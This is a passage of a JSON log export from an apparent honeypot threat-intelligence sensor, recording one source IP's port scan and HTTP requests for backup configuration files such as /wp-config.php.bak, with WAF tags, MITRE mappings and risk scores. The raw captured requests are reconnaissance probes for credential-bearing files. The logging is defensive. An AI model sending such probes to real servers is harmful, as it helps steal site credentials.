\u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":7,"bytes_in":179},{"id":7106397,"ip":"185.244.155.23","ts":"2026-10-23 11:45:48.000000","proto":"tcp","src_port":49726,"dst_port":20639,"service":"http","classification":"port_scan_syn","waf_score":21,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950521:leak-8\u0022]","http_method":"GET","http_target":"\/config.php.bak","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: \u0022bak\u0022, \u0022http_ua_hash\u0022: \u00225002ada1c05fac60ce2af638d5f54066641d121c\u0022, \u0022http_host_hash\u0022: \u00220991dad1e85d945fa26d249d6238901b89cb8349\u0022, \u0022http_target_hash\u0022: \u0022f4e5344862db3f007de9149164d79b088f516034\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 183, \u0022payload_entropy\u0022: 5.240677569590536, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20639, \u0022risk_waf\u0022: 92.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 6.3, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 92.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 59, \u0022tag_count\u0022: 7, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u00225912b3c0c10c9919975211c99f9b5fb4c926cb6b\u0022, \u0022event_fingerprint\u0022: \u002281c78f4fe62b04f487fcf689e2a4ed9a2c345e0b\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 92.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 59, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002263279522febcf5538b72996c16a8660f\u0022, \u0022payload_hash\u0022: \u00227156d85ff6f3cbd78e4a34ce4a4fb143\u0022, \u0022path_pattern_hash\u0022: \u0022456c6182b7d24690c48a4170c38e6d4b\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20639, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 59}, \u0022payload_preview\u0022: \u0022GET \/config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/config.php.bak\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950521:leak-8\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022leak-8\u0022], \u0022request_line\u0022: \u0022GET \/config.php.bak HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/config.php.bak\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950521:leak-8\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022leak-8\u0022], \u0022request_line\u0022: \u0022GET \/config.php.bak HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022cc900bbf7dad5d02c9f61833d0e887c216bc101e\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/config.php.bak\u0022, \u0022request_line\u0022: \u0022GET \/config.php.bak HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 20639, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:20639 \u00b7 (reconnaissance) \u00b7 \u2192 \/config.php.bak\u0022, \u0022target_port_label\u0022: \u002220639 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 59\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 92.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 59, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 59, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 20639, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/config.php.bak\u0022, \u0022request_line\u0022: \u0022GET \/config.php.bak HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 20639, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:20639 \u00b7 (reconnaissance) \u00b7 \u2192 \/config.php.bak\u0022, \u0022evidence_snippet\u0022: \u0022GET \/config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)\u0022, \u0022target_port_label\u0022: \u002220639 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 92 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220639\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 18, \u0022scan_velocity_ports_per_s\u0022: 4.1, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950521:leak-8\u0022, \u0022http_backup_file_scan\u0022, \u0022http_backup_path\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33","http_user_agent":"Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950521:leak-8\u0022, \u0022http_backup_file_scan\u0022, \u0022http_backup_path\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":10,"bytes_in":183},{"id":7106396,"ip":"185.244.155.23","ts":"2026-10-23 11:45:48.000000","proto":"tcp","src_port":59455,"dst_port":20639,"service":"http","classification":"port_scan_syn","waf_score":29,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950518:leak-5\u0022, \u0022950521:leak-8\u0022]","http_method":"GET","http_target":"\/wp-config.php.bak","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: \u0022bak\u0022, \u0022http_ua_hash\u0022: \u00225002ada1c05fac60ce2af638d5f54066641d121c\u0022, \u0022http_host_hash\u0022: \u00220991dad1e85d945fa26d249d6238901b89cb8349\u0022, \u0022http_target_hash\u0022: \u00220372d7102c333673ea0de9e60c73911cb60bfb5f\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 186, \u0022payload_entropy\u0022: 5.2529992835642085, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20639, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 6.6, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 62, \u0022tag_count\u0022: 8, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u00225da52301fcb278de2c8d0e8cfd68dc7a6ef4b658\u0022, \u0022event_fingerprint\u0022: \u0022ab7fd192decd861a9b78486f64d97eb7b45d500a\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 62, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002263279522febcf5538b72996c16a8660f\u0022, \u0022payload_hash\u0022: \u0022c5f0d324e8c0597978dacf843ac4627a\u0022, \u0022path_pattern_hash\u0022: \u0022c879a1d8584c2c545f6c6bb7a9f5a061\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20639, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 62}, \u0022payload_preview\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/wp-config.php.bak\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950518:leak-5\u0022, \u0022950521:leak-8\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022leak-5\u0022, \u0022leak-8\u0022], \u0022request_line\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/wp-config.php.bak\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950518:leak-5\u0022, \u0022950521:leak-8\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022leak-5\u0022, \u0022leak-8\u0022], \u0022request_line\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00221ab58a6e75be8aa10435c2163ab65b04e397a506\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/wp-config.php.bak\u0022, \u0022request_line\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 20639, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:20639 \u00b7 (reconnaissance) \u00b7 \u2192 \/wp-config.php.bak\u0022, \u0022target_port_label\u0022: \u002220639 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 62\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 62, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 62, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 20639, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/wp-config.php.bak\u0022, \u0022request_line\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 20639, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:20639 \u00b7 (reconnaissance) \u00b7 \u2192 \/wp-config.php.bak\u0022, \u0022evidence_snippet\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x\u0022, \u0022target_port_label\u0022: \u002220639 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, 